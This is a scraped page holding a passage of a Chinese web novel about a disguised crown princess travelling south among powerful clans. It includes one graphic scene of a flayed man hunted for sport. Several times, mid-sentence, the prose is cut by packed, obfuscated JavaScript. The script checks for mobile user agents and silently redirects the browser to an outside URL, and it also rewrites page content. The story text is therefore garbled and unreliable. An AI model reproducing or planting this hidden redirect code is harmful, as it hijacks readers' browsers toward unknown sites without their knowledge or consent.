l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868924|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方，这句话同样是临平县县令程枫桥奉行的准则。 程枫桥担任东宫伴读时，以性情平和、处事谨慎为太女看重，将他指到南方临平县当县令。 离京之前，皇太女叮嘱他，只要做到两点：明哲保身、用眼睛仔细看。做到这两点，就足以为他请功。 程枫桥赴任之后，惊觉太女的教诲果然是字字珠玑。 临平县是个好地方，它是吴郡下辖的一个富庶大县，在这里当官，只要做到太女教诲的第一点，定然能赚的盆满钵满，活着回京。 明哲保身对于官员来说，往往不是个好词。 但是对于前往南方任职的程枫桥来说，如果做不到明哲保身，他第一天拿起临平县令的官印，第二天就可能因为各种原因溺死在官衙后的水塘里，或是窒息在清晨洗脸的脸盆里。 南方九州多水，很容易被淹死。 东宫伴读是他最大的依仗，有了这一层身份，世家淹死他之前，需要多掂量一下。用金银珠宝封口的时候，也需要做的更好看些。 比如今天。 来自沈氏嫡系的宴请，程枫桥推不掉。 他进到休憩的小楼中，换掉溅了酒水的衣裳。沈氏为他准备好了一身全新的云缎锦衣，连玉佩香囊等配饰都准备齐全，与衣裳相配的玉冠也备齐了。 程枫桥任凭沈氏的侍从为他换好衣服，心里清楚，当他傍晚乘车离开时，他会在车里发现一匣价值更胜这身衣装数倍的金银，也可能是珠宝或者书画。 程枫桥父祖都是大儒，他很喜欢书画。 然而想着南方世家送来的那些名品书画，他只觉得有些恶心。 这种恶心不能表露出来，程枫桥推开窗：“熏香太浓了，头疼。” 沈氏侍从立刻灭掉焚着的熏香，散去房中香气，又为他捧来醒神清心的茶水。 程枫桥喝了一口，分明是很好的茶水，入口却只觉无味。论起醒神，还不如窗外风中隐隐送来的嬉笑宴饮声更能令他清醒。 就在这时，他忽然从那遥远的喧闹声中，捕捉到了一丝怪异的声响。 那声音非常奇怪，说不出是什么，像是动物的鸣叫，又极其轻微，以至于程枫桥无法辨别，疑心自己是不是听错了。 他探身望向小楼另一侧。 那里有一堵高墙，墙非常高，遮蔽了程枫桥的所有视线。 程枫桥随口问：“那是什么去处？” 一名侍女莲步轻移，上前微笑道：“回大人，那里是一片依山庄园改成的猎场，养了些动物狩猎，气味不好，也怕它们乱跑，所以建起高墙隔开。” 程枫桥随口问：“都有什么动物？” 这些世家骄奢无比，干什么都不奇怪，占山为猎场这种事说出去不好听，但在南方九州根本就是寻常。 程枫桥在心中长叹一声。 与此同时，高墙外的树林中，一团殷红的东西正艰难地向前爬行，身后拖出长长的血迹。 它挣扎着，全身上下到处浸透血色，看不出一块完整皮肉，仿佛全身上下的毛皮都已经被活剥了下来。 伤成这副模样，不管是什么东西，恐怕都是命在旦夕，然而即使伤重至此，它仍然缓慢地向前蠕动，朝着高墙的方向。 远处有不紧不慢的马蹄声传来，沿着血迹来处渐渐逼近，仿佛催命符般，又像是带着谑笑的戏弄。 那团血肉模糊的东西仿佛垂死挣扎般，终于爬向一条死路。 它撞在了高墙上，伸出沾血的双手四处摸索，却绝望地发现别无去处。 它抬起脸，露出一张血肉外翻无法辨识的可怖面容，以及两个漆黑空洞的眼眶。 原来它不是一团血肉，而是个活生生的血肉模糊的人。 马蹄声越来越近，越来越近。 ‘它’终于张大嘴，是个奋力嘶喊的模样。 然而‘它’的嘴里，只露出半截断裂的舌头，声音微弱，像是鸟儿的嘶鸣，幼狐的叫声。 高墙另一侧，小楼之上。 那侍女面上笑容纹丝不动：“大约就是狐狸一类，好驯养又没什么凶性的小兽吧，总要保证主子们狩猎安全才好。” 15.下江南（一） 五月，榴花正盛，绿杨垂阴。 连通江淮的安济渠上，江面无风无浪，一艘华贵的客船徐徐前行。 这客船大且华贵，共分上下两层。下方舱室是船工、奴仆所居之处，上方那层则由一家袁姓豪商包下大半，剩余的些许房间租给了零星散客。 景昭执卷坐在窗边。 船上风景最好的数间房屋都被袁姓豪商挑走，从她的窗中望出去，景物多被遮拦，没什么可看的。 但她支颐执卷静坐，侧颊线条秀美流畅，天光为她镀上一层浅淡光影，本身就是一幅天生天赐的美丽画卷。 如果朝中百官看见这幅画面，定然惊骇不已——原本奉命离京，前往并州代天子亲慰三军的皇太女，居然悄无声息地出现在了南方的一条客船上。 床上传来窸窣响声，景昭眼风一扫，见穆嫔正挣扎着想要起身：“喝茶吗？” 穆嫔连忙道：“不敢劳烦殿……姐姐，我想起身去外面吹吹风，透口气。” 穆嫔自出生起从未乘船远行，直到这次随景昭南下，才发觉自己居然晕船。 船行三日，穆嫔就昏天黑地躺了三日，稍有风浪便头晕目眩、胃里翻涌作呕。她本是极为在意举止风范的人，而今在皇太女面前形象狼狈，虽然嘴上不说，心里惭愧自伤至极，只是强忍着不表露出来。 景昭说：“先等等，苏惠去给你取药了，喝完药再起身。” 话音未落，房门外笃笃叩响两声，一个喜气洋洋的声音传来：“三小姐，五小姐。” 景昭说：“进来。” 一个面目平庸、身材微丰的中年人走了进来，手里拎着食盒。他在屏风外站住脚：“五小姐趁热喝。” 景昭问：“今晚之前，能不能到舒县？” 苏惠想了想，说：“原本可以，但前日风浪阻碍船行，据船工说，恐怕明日午时前才能到。” 景昭拍板：“明日在舒县下船，改走陆路。” 苏惠应声：“小人先准备一下，打叠好两位小姐的行李。” 反倒是穆嫔急急撑起身：“三姐不要因我坏了计划！” 景昭平静道：“谈不上坏了计划，原本就是想从淮南乘船到庐江，如今也是一样，只是提前下船，走段陆路。乘船无非图一个快且安稳，却看不了多少民间生计，走陆路倒更方便沿途看看黎庶民生。” 苏惠应声离去，准备打叠行装，安排下一步的行程。穆嫔从床上半支着身体坐起来，小口喝着汤药，颇有些歉疚。 景昭说：“我们就三个人，下江南看看民生而已，谈什么计划，都是走一步看一步。” 明知道景昭宽慰自己，穆嫔还是很不好意思地抿唇一笑，心下安稳了些：“其实，妾……我也觉得乘船更安稳，听说南方不大安定，走陆路怕是更麻烦。” 景昭说：“怕什么，父亲做过安排。” 离京前，皇帝令景昭择选一个在身边侍从起居的人。 这倒并非是景昭多事，皇太女养尊处优，梳头穿衣都不必自己动手，面目气质一望而知并非常人，如果无人侍从照料，反而古怪。 景昭选了穆嫔。 贴身侍奉、熟知她起居习惯的人，除了穆嫔，便是承书承侍女官。然而这两名女官虽在内廷，却常奉命在外臣面前露面，不宜随同景昭秘密南下。至于带个贴身的普通宫女，和景昭说不上话，没什么意思。 皇帝没有表示反对，又从鸾仪内卫中挑了个人护卫她，便是苏惠。 饶是景昭几乎日日面圣，此前对苏惠也没有半点印象，只记得他曾经在太后临终时护卫皇帝。 她心中清楚，这必然是鸾仪内卫中地位极高的存在，父皇将他指过来，很有可能便是想让她渐渐接触鸾仪内卫，为将来接手做准备，于是对着苏惠喜气洋洋的脸，同样喜气洋洋地谢恩。 景昭、穆嫔与苏惠，便是此次下江南的所有人了。 虽然暗地里皇帝派了许多鸾仪内卫秘密护持，但皇帝存心让养于深宫的爱女出去见见世面，并不打算将她里三层外三层包围起来，所以明面上，当真只有穆嫔与苏惠随行。 她们此次下江南，用的是弘农苏氏的身份。苏氏是个北方的二流没落世家，不起眼，却也有些门第。南方九州世家最重门楣，有了这个身份，不会被人重视，却也不至于被人轻贱。 景昭和穆嫔，都是苏氏年轻一代的女郎。景昭排行第三，单名为和，表字羲和；穆嫔排行第五，单名为时，表字兰时。 苏惠则是随行的管事，两位小姐出门游学，他负责打理琐事杂务。 轻车简从出外游学，是齐朝时世家大族名门子弟的一种风尚。能令优秀的子弟外出自由行走，而非尽早谋取前程，恰恰是名门隐晦炫耀自家人才济济的一种方式。 及至本朝，由于北方世家大多没落，优秀的子弟必须尽快谋官撑起家族，游学之风渐渐淡薄，但在南方仍然盛行。 南方极重嫡庶，嫡待庶若奴，妻御妾若婢。北方有些地方受其影响，也沾上了这种风气，至今部分地方仍有残余之风。 这样一来，即使穆嫔侍奉在景昭之侧，在南方也并不显得奇怪，只消嫡庶二字一出，便可打消旁人疑虑。 景昭其实并不满意这种风气。 本朝看重嫡长，是为了将嫡长女强行拉到与嫡长子相同的地位上，从而推动女官入朝。然而过分鲜明的嫡庶之分，则会压制才高之人难以出头，直接截断许多人入朝效力的途径。 普天之下莫非王土，率土之滨莫非王臣。 朝中百官、天下万民，都是皇帝座下臣民而已。就像牧羊人不会因为一群羊比另一群羊皮毛华美，就尊贵出千百倍；贵胄们不会认为家生子比买来的奴婢更加值钱，所以家生子能够在主人面前挑三拣四平起平坐。 天子代天牧民，什么贵贱、什么男女、什么嫡庶，无非是皇帝稳固社稷的手段。皇帝可以以此为由发落臣僚，但臣僚绝不能妄想以此限制皇帝。 但没办法，要解决的问题太多了。甚至于在那些亟待解决的问题面前，嫡庶之分根本排不上号。 想到这里，景昭又想起了建元五年那次惨淡收场的科举。 她闭上眼，遮住眼底流泻出的些许阴霾。 . 穆嫔喝完药，戴上帷帽出去走了几步，又头昏脑涨地回来了。 景昭失笑：“起风了？” 穆嫔踉踉跄跄坐倒：“不是，袁家的女眷们出来了，那香气……呕！” 袁姓豪商排场摆的大，品味却实在一般。家中女眷都熏着极为浓郁的香，偏偏香气纷杂，混在一处着实难闻。 穆嫔本就晕船，索性歇了出去透气的心，坐下缓了会，靠到景昭身边。 “你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888647|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。”景昭说，“当心又晕了。” 穆嫔稍有不慎便天旋地转，哪里还敢看书，只好奇打量着景昭手中那本貌不惊人的书册：“我记得姐姐这本书看了很久。” “……不是同一本。” “是什么书呀？”见景昭没有禁止她凑过来，穆嫔大胆发问。 景昭沉吟片刻。 穆嫔正跟着她下江南，按理来说有些事情没必要瞒着，但要说清楚，又要平白解释很多不必要的细枝末节。 她微一思忖：“鬼故事。” “啊？”穆嫔立刻别过头去，表情又害怕又想看，“讲……讲的什么，吓人吗？” “还好。”景昭概括道，“有一座非常华丽的大宅，其中有金银财宝、精舍美婢，但住进去的主人，始终只能闭着眼。” “闭着眼？” “对。”景昭波澜不惊道，“闭着眼起居行走，一切都有美婢精心侍奉照料，山珍海味、金银珠玉都只是寻常消受之物，可说是富贵无忧至极。但如果睁开眼，就会发觉身边的美丽侍从是妖鬼幻化出的傀儡，吃下去的珍馐都是蠕动的虫蛇和血肉，在他睁开眼的那一刻，妖鬼就会出现在他眼前，将他一口吞下。” 穆嫔问：“不能请道士和尚来降妖么？” “都被妖鬼吞噬了，那些妖鬼盘踞在宅子里，吞下一个又一个睁开眼的主人。他们控制路过的行人，那些无辜行人沦为妖鬼血食，供养着它们不断壮大。” 穆嫔说：“那大家都知道这里有妖鬼了，全部逃走，它不就没有血食了？” “有些人明知道这里有妖鬼，还是争抢着住进这座大宅子，因为他们认为自己只要闭着眼睛不看，就能享受到无上富贵，这笔买卖很是划算。” “当妖鬼的力量壮大到一定程度以后，它可以修改人们的认知，篡改世俗的定义，从而将妖鬼包装为神灵。凡人被妖鬼吃掉，会不甘、会反击，但如果他们以为自己被神灵驭使，那么对他们来说，成为神灵血食，可能是理所应当的，甚至变成了一种荣耀。” “因为在他们心里，其他地方没有神灵庇护，可能会更加凄惨。” 穆嫔听得有些发怔：“总会有一两个人清醒的。” “但是他们既不是妖鬼的对手，又无法逃离妖鬼的控制，反而更加痛苦。” 穆嫔说：“那也要反抗啊，鸡蛋碰石头虽然会碎，可是也会把石头弄脏。如果因为打不过就逆来顺受，这么好欺负的人，换我我也想欺负一下。” 她想了想，又说：“普通的道士和尚不行，法力高强的道长和高僧呢？” “当然有。”景昭说，“只是他们分身无术，需要时间。” “那就好。”穆嫔松了口气。 景昭道：“到那时，已经死了很多人。” 穆嫔却说：“这是妖鬼的过错，不能责怪旁人。降妖除魔的道长和高僧既然没有坐视不理，只是分身无术，那就不能把责任尽数归咎到他们身上；被妖鬼迷惑心智的无辜死者更是可怜，不管他们有没有胆子反抗，妖鬼凭什么吃人！” 话音落下，穆嫔忽然觉得有些不好意思，微羞低头。 景昭托腮看她，忽而微微一笑。 这一笑有如三春盛景，穆嫔颊边飞红，以袖掩面嗔道：“姐姐不要笑我！” “没有笑你。”景昭含笑道，“你说得很好。” 16.下江南（二） 傍晚时分，有人前来叩门。 今日江上平静无波，穆嫔晕船的症状好了很多，闻声前去应门。 一名中年妇人带着两名年幼孩童，身后婢仆成群，穿着极其华丽。见到来开门的居然是一位容色绝丽，举止端庄的美人，很是惊讶。 那名妇人自称是袁姓豪商家中乳母，这对年幼孩童则是袁家的少爷小姐，同船之谊难得，本该走动拜会，前三日江上风大浪急，少爷小姐年幼晕船无法起身，今日既已好转，便一一上门赠上薄礼。 用不着景昭出面，穆嫔自幼学的就是主持中馈来往交际，堪称长袖善舞。 她亲自接了送来的礼盒，请两个孩童入内喝茶，见两个孩子天真羞怯不愿入内，又转入内室，在屏风后取来一对缠枝鱼藻纹佩，分别交给两个孩子作还礼。 为了扮好弘农苏氏女，出行前穆嫔亲自准备了许多物品。比如这对玉佩，专为外出交际赏赐准备，玉质只是普通，胜在雕工精妙。 然而景昭贵为储君，穆嫔时时刻刻侍奉在侧，见惯天下珍奇，眼光难免极高。乳母接了玉佩，心里咯噔一声，回去连忙禀报了主母袁大太太。 袁大太太听了乳母绘声绘色一番描述，将应门的女子几乎描绘成仙子下凡，又亲手掂量回礼的玉佩，面色凝重——袁家豪富，这玉佩确实不算极贵重，但能随手取出来回礼，必然不是寻常富人之家。 她到底见识极多，微一思忖，惊声道：“祖籍弘农，又姓苏……难道竟是弘农苏氏之后，士族女郎？” 其实若论起豪富，袁家要远胜于没落的苏氏。然而如今士庶天隔，弘农苏氏贵为世家，门第光辉，袁家却只是富商。 真要论起尊贵与否，弘农苏氏就算再落魄数倍，上上下下穷的只剩下一身麻布衣裳，沦落为寒门，也依然有聘嫁高门、子弟入仕的机会；商人再怎么富贵，子孙也依然只能被框进庶族一流，终生没有入仕的资格。 想到此处，袁大太太再坐不住，连忙命人备了礼，亲自前去拜会。 穆嫔又去开门。 穆氏虽然没落，终究还有门楣顶着，穆嫔未入东宫前，还未曾和商贾打过交道，颇有些好奇。见景昭没有示意制止，便将袁大太太让进来，请她坐下喝了杯茶。 若论美貌，穆嫔虽然生的好看，但在美人如云的京中只算中人之姿。但她自幼熟习礼仪，又在东宫养尊处优，举手投足间的风度仪态，却绝非寻常贵女能够企及，即使已经极力收敛，行走坐卧间依然极其得体好看。 袁大太太从前哪有机会与真正的士族女郎来往，看得目眩神迷。 听穆嫔说，她与姐姐一同南下游学，袁大太太连声赞叹学风兴盛，又顺势将带来的匣子推过来： “这几块白狐狸皮不是什么贵重东西，胜在是叫人开了皮货箱子现拣出来的，并非陈货，做个坎肩皮袄极好，或是用来镶嵌裙边，正合南方风尚。不怕女郎笑话，我们商贾人家，船上带的货物里，就属这些狐狸皮不愁销路。” 穆嫔倒是一怔：“如今五月了，南方还用狐狸皮么？” 袁大太太笑道：“这几年南方时兴皮货，不管一年四季，只要品相够好，总是不愁销路的，尤其以红白二色狐狸皮为上。只要炮制的好，皮毛根根分明、油光水滑，还有高价买的——且不是寻常人家，高门望族都很喜欢——倒不一定是裁衣裳，做毯子、做装饰，总之十分风行。” 穆嫔茫然眨眨眼，心想南方夏日炎热更胜北方，这些南方望族倒真不怕热死几个。 袁大太太又十分热情地道：“今日天晚，女郎若不嫌弃，明日设个小宴，不知女郎愿不愿意赏脸。” 穆嫔唇角一抽，心想袁家也是北方人，怎么太后过世还没三个月，就开始衣着华丽动辄设宴了。 虽说皇帝与太女并不亲近太后，然而规矩摆在那里，为了天家颜面，必然不容犯禁。 出于好心，穆嫔干脆利索地拒绝了：“我们姐妹明日在舒县下船，无暇多留了。” 袁大太太只好告辞。 . 次日，船到舒县码头，景昭与穆嫔下得船来，只见苏惠候在船下，身边停着一辆高大马车。 “三小姐，五小姐。”苏惠一躬身，“请上车。” 隔着帷帽垂落的白纱，景昭上下打量，意味深长地道：“苏管事。” 苏惠说：“请三小姐吩咐。” 景昭道：“真是神通广大啊。” 苏惠圆脸上露出一个喜洋洋的笑，十分富态吉祥：“三小姐过誉了，小人不敢担功，都是家里操持得当。” 景昭提步上前，左手在车辕上轻轻一按，五指纤白如同削葱，并不见她如何用力，已然登车入内。 穆嫔紧跟在后，由苏惠扶上去。下一刻车帘垂落，景昭的声音从帘内传出：“船上有多少家里人？” 苏惠笑道：“小人不知。” “那我中途下船，他们怎么跟上来？” 穆嫔愣了一刹，倏然明白过来——景昭中途下船，居然还有着这样一层用意。 ——鸾仪内卫奉命暗中保护皇太女，必得时刻跟随在附近，那艘船上必然安插了许多内卫。然而皇太女中途下船，隐藏在船上的鸾仪内卫只能临时改变布置，急匆匆跟下船来。 她情不自禁回眸望去，却只见数名船员忙着上上下下补充食水、运输货物，一眼也没有朝这边看来，全然看不出半个可疑的对象。 苏惠说：“小姐恕罪。” 这就是避而不答的意思了。 景昭并不执意追问，只是道：“父亲不许你们告诉我？” 苏惠笑而不言。 “那我自己看出来呢？” 苏惠正色赞道：“那是小姐宿慧天成，主上自然只有欢喜。” 景昭明白了。 她道：“走吧，先找个地方住下。” 车帘外，苏惠挥动马鞭，响亮地应了一声。 车轮辘辘压过地面，伴着微风轻拂，马车离开码头，驶向城中。 舒县是庐江郡郡治所在，是南方颇为富庶的大城。景昭来时看过文书，发觉舒县郊野曾有一座江宁景氏的园林，后来皇帝登基对北方边境用兵，为了宽抚南方世家，将景氏未能处理的一些产业赐下以示恩典，那座园林便赐给了竟陵杨氏。 “世家之间盘根错节，相互结亲，譬如现在吴郡沈氏的当家夫人，便是宗室县主，按辈分算起来，我还要叫一声堂姑。” 穆嫔道：“是呢，穆家上一代，也有几个女儿嫁到南方。这些关系捋都捋不清楚，过去在家时，一天到晚守着老夫人背族谱，背完自家背别家，要将有头有脸的世家谱系都背的熟练，走出去互相报名字，才能想起来谁是谁的姑奶奶，谁又是谁的好妹妹。” “亲戚太多就是麻烦。”穆嫔按一按帷帽边缘，“现在走出去，还得将脸捂严实了。” 苏惠搭腔：“南方这边有争看美人的习俗，高门无论男女，走出去都要将帷帽戴的严实。” 穆嫔道：“啊，我在书里看过，南方素有‘看杀玉郎’的风气。” “‘看杀玉郎’已经是旧典故了。”苏惠一本正经地说，“三年前江宁裴氏嫁女、竟陵杨氏娶妇，新郎是大名鼎鼎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894555|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的风流名士杨桢，新妇的弟弟则是以风神秀彻闻名的裴七郎。最出名的两位少年名士同时出现，当日长街争看美人，活生生挤塌了街边两堵墙。” 穆嫔挢舌难下：“这也太……” 车轮辘辘，行至城门前。 城门外百姓等待入城，排出了极长的队伍，嗡嗡作响摩肩接踵，各色纷杂的方言传来。 景昭信手揭开车帘一角，向外望去。 碧空如洗，云雾如絮，澄澈碧空之下，远处秀丽山峦若隐若现，近处城墙巍峨矗立，每一块古朴砖石都散发着悠远的气息。 城墙下，无数人头挨挤攒动，构成这幅壮丽画卷角落里不起眼的灰白一笔。 那些各色方言、纷杂气味，以及拉着板车、踩着草鞋、背抱儿女的伛偻百姓，是这幅画面中最庞大也最黯淡的一笔。 “三小姐。”苏惠说，“我们得直接进城，不用排队。” 说着，他一挥马鞭，满口娴熟官话顷刻转为方言，朗声呵斥两句，只见人群如同潮水般避让开来，甚至没有人回头多望，更没有人发出抱怨，像受惊的羊群，迅速闪开了一条道路。 苏惠赶着马车，径直来到城门前，将过所交给城门处的守卫，又用方言倨傲地说了句什么。 守卫低头验看，听得苏惠倨傲的语气，非但没有发怒，反而交还过所，让开了道路。 车内有片刻的沉默。 景昭的手指搭在窗框上，轻轻叩击，嗒嗒作响，神色平静如常。 紧接着，她抬起头，凝望着车壁的一个点。 在那个点的车壁外侧，打着弘农苏氏的家徽。 一个北方世家。 一个没落的北方世家。 一个空余门楣、远隔着千里的没落世家。 仅凭着光鲜亮丽的马车、高高在上的家徽、还有写着籍贯来历的过所。 便可在千里之外的南方，使得百姓避让，守卫低眉。 那么，数百年以降，栖息在这片土地上的庞然大物，又该拥有多么畅通无阻的威慑与权势。 “掉头。”景昭忽然道。 苏惠依言掉头，按照景昭的吩咐，停在了城中距离城门不远的一个角落。 进城者分作两队。 那些灰白黯淡、极为绵长的百姓们，队伍缓慢向前移动着，经常便会停下来，麻木惊恐地接受守卫呵斥驱赶。 然而另一侧，高大的、巍峨的城门内，华丽车驾畅通无阻。 景昭静静看着这幅景象，始终一言不发。 不知过了多久，她说：“走吧。” 苏惠依言，调转车头。 就在向着城池深处行去的那一刻，景昭忽然注意到，路旁的阴影里，还停着另一辆马车。 没有家徽，没有标记，它静静停在那里，只有一个褐衣的车夫守在旁边，看不出来处。 苏惠驾着车，与那辆马车擦身而过。 就在那一刹，景昭不知为何，心中忽而微动。 她预备放下车帘的手，就这样停在空中。 与此同时，她的余光里出现了另一只手。 一只冰雪般的，五指纤长的手。 那只手从对面车窗中探出，轻轻揭开了车窗的帘幕。 在景昭转头的瞬间，她看见了那只手的主人。 帷帽白纱层层垂落，一道黛色身影掩映其间。 只是一刹，也只有一刹。 车窗帘幕落下，黛色身影隐没。 在这之前，景昭已经收回了目光。 两辆马车交错而过，渐行渐远。 17.下江南（三） 兰桂坊位于城东，是舒县最贵的客栈。 方过午时，日头渐高，坊前街道上车马稀疏。兰桂坊店门处，两名专司迎客的跑堂看见一辆高大马车缓缓停下，连忙小跑迎了上来。 车前歪坐的车夫扬手，抛来一把大钱：“还有上房么？” 那车夫穿的衣裳普通，圆脸带笑，看着很不起眼，但这些跑堂迎来送往见多识广，一看抛钱的动作就知道车中必然是位豪客。 “您请，您请。”两名跑堂一个上前想要帮忙安置车马，另一个弓腰站在车边，等着搀扶车中客人下车。 车夫先下得车来，转头娴熟地嘱咐：“你们这里分几品几等？都有什么样的上房？挑最好最干净的来。” 只见车帘掀起，一道窈窕身影出现，帷帽白纱及腰遮住面容，下一刻不必搀扶，已经翩然落地。 那戴帷帽的女郎朝车上伸出手，拉下来另一位窈窕纤细、头戴帷帽的女郎。 跑堂在前引路，将景昭一行三人引进店内，掌柜的眼光极为毒辣，已经亲自从柜台后面迎出来。 景昭眸光一转，顷刻间扫过整间大堂。 厅堂高且阔朗，装饰华丽不失雅致，大堂内四角陈设香炉，散发着袅袅淡香，墙上疏落有致地挂着几幅人物画。 看那落款，应该是齐朝著名宫廷画师温积素的《十二仕女图》。 《仕女图》共分十二幅，如今存放在宫中清暑殿，当然不可能悬挂在区区一间客栈中，这里显然是仿造的赝品，但赝品也分三六九等，能仿出这个水平，算是很用心了。 “最好的上房是……”掌柜命人先上茶点，然后报出一个不低的价格，“您要是久住，价格还可以商议。” 苏惠说：“就这个。” 谈价定房这种事，当然用不着景昭和穆嫔亲身上阵，喝完一盏手艺平平茶叶也平平的茶水，房间也定下了。 正当苏惠付过钱，掌柜殷勤引路，要将贵客一路送至房门前时，跑堂忽然疾奔而来，在掌柜耳畔说了句话。 “没有了？”掌柜横眉立目，“胡说八道！” 那跑堂都快哭了，又耳语几句：“真的，您不知道，最好的那六间上房半个时辰前全都定出去了，当时您不在这里。” 掌柜问：“谁定下的？” 跑堂低声说了两句，掌柜忽然不出声了。凝固片刻，转过来赔笑：“真是不好意思……” 苏惠沉下脸来。 他本来是张喜气洋洋的生意人面孔，沉下脸时却有种别样的威压，冷厉至极，质问的话没出口，掌柜已经情不自禁地打了个寒噤。 掌柜到底是打磨多年的人精，话锋一转便道：“小店还有几处僻静舒适的院子，就在这后面。” 他顿了顿，先报出一个高到恐怖的数字，又赔笑：“当然，那是原本的价格。您放心，这是小店的失误，所以这价格还是按上房算。” 苏惠这次并不做主，转向景昭，恭恭敬敬道：“小姐……” 景昭道：“那就这样。” 掌柜亲自将景昭三人送到了兰桂坊后的小院。 放眼望去，眼前是一条闹中取静的小巷，数座小院散布其中，分别挂着‘沉香院’‘风荷院’等附庸风雅的牌匾。 推开风荷院的大门，两名侍从迎上来。 掌柜搓着手笑道：“这些侍从负责平日洒扫，每日过来洒扫院中，房中还有两名侍女侍奉客人起居，只是这些要另算。” 懂了，要加钱。 苏惠看了看景昭，见白纱微动，会意地丢出一枚金锭：“小姐喜静，侍女白天过来就行，晚间不必留下。” 穆嫔眨了眨眼。 她过去从未外宿过，对客栈所有的了解和想象都源自于游记和话本，以为世间所有的客栈都是冷冰冰一间布置普通的客房，却没想到兰桂坊中非但有独立的小院，竟然还提供侍女。 她走神之际，景昭已经带着她走入房中，侍女端上沏好的茶水，另有四盏茶点摆在桌上。 景昭端起茶盏，并不沾唇，闭目仔细辨别，发觉这里的茶水又比大堂好上许多。 两名侍女正在原地犹疑，不知道该不该上来服侍二位贵客摘了帷帽，只见景昭在三间正房中转了两圈，不疾不徐地开口吩咐：“帐幔、床褥、毯子、绢布全都摘了，换成全新的，我不用旁人用过的旧东西；茶盏、茶具、凡是沾唇入口的地方，也都更换新的，别用那些旁人用过的来糊弄我。” “还有这里、这里，以及这里。”景昭一一点过，“都换新的。” 侍女面面相觑，连忙说：“这些都是干净的。” 景昭道：“开好单子，我的管事会付账。” 侍女原本想说的话被堵在了喉咙里，默不作声地退了出去。 景昭转过头，对不知什么时候出去又回来的苏惠道：“行李都安置了？你去看看厢房，有什么想换的一并换了。” 苏惠笑道：“小人风餐露宿是常事，破庙野地都住过，小姐放心。” 穆嫔听得呆住。 她伴驾将近三年，深知皇太女虽然贵为储君，衣食起居精细至极，但那些是储君排场与尊贵的外在体现，景昭本身对外物的欲望并不算强烈。 这处小院中的布置虽然远不及东宫用度，但按照景昭的性格来说，不该挑剔至此。 她蹙起细眉，见小院中的侍从不在房中，疑惑道：“殿……姐姐，有什么不妥么？” “暂时没有。”景昭信手叩了叩挂着赝品山水画的墙壁，“觉得有点不干净而已。” 穆嫔更加疑惑，下意识看向苏惠。 苏惠轻咳一声，看向景昭。 他还是很有分寸的，不管皇太女和穆嫔到底是什么关系，穆嫔对他来说只是东宫嫔御，储君爱妾。 那些不干不净的事，由他告知不太合适。 “和兰桂坊没关系。”景昭意味深长地道，“这种大客栈后面的小院，并非兰桂坊独创，京中那边也有，一年四季生意极佳——你猜猜，这些院子拿来做什么？” 穆嫔不假思索，正要脱口答话，忽然意识到不对——景昭说得清楚，这些院子一年四季生意极佳。 外出行商、出门游学都分淡旺季，譬如深冬酷暑，极少有人愿意出远门，客栈的生意不会太好，更别说这些最贵的独立院落。 “这……” 看着穆嫔眉头紧锁，景昭道：“置外宅。” “啊？！” “几年前……”景昭思忖片刻，“仿佛是你刚封嫔那段时间，京城闹出一件大事，望月楼起火，烧死了好几个人。” 望月楼是京中有名的酒楼，兼为客栈，据说背后有某位大员撑腰，生意奇好。 “刑部、大理寺和京兆都惊动了，本来以为是天干物燥不慎失火，刑部接手，发现最先起火的院子里有火油和酒水泼洒残留的痕迹，是蓄意纵火。” “那处院子是平康伯世子包下的，刑部传唤他过去，没问几句话就说漏了。” “那是他包下来的外宅，里面养了一个女子，这女子不是贱籍，当街卖酒被他看上，从人家父母那里硬买来的。但这女子本来自有婚约，并不想做外室，她未婚夫也有几分骨气，不肯息事宁人，只想讨回未婚妻，结果被恶仆打断了一条腿。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“令之。”杨桢道，“久候不至，你真是让我等的心焦。” 帷帽雪白细纱垂落，遮住了裴令之的神情。 他不疾不徐走下马车，语调清宁如水，平静说道：“何事？” 杨桢等待的焦灼，便被他清平的声音冲淡了大半。 他微微摇头：“泰山大人致信，命你早日还家。” 裴令之道：“这等闲事，也值得你亲自前来？” 身为裴令之的姐夫，杨桢自然知道，裴氏对裴令之施加了多么大的压力，然而直至此刻，他的态度依旧风轻云淡。 杨桢不禁摇头轻叹：“阿菟让我带话给你。” 话音未落，裴令之已经摘下了帷帽。 乌发如水，黛衣轻振，他的目光宁静高远，朝杨桢投来。 饶是杨桢与裴令之早已极为相熟，当裴令之举目看来时，也不由得心下暗自叹息。 天地造化究竟何等钟爱，非但蕴养出这样一张天生天赐的容颜，还将与之相称的明晰神仪一并赐予了他，生怕有半点缺憾。 杨桢忽而想起，自己年幼时，父亲深为骄傲，曾经多次在外人面前亲口称赞‘吾家骄儿，美秀无匹’——直到见到年幼的裴令之，就再也不好意思说出这句话了。 当年吴郡沈氏为沈允养望，作诗夸耀沈允‘前朝尚器貌，流品方第一。不然神仙姿，不尔燕鹤骨。’ 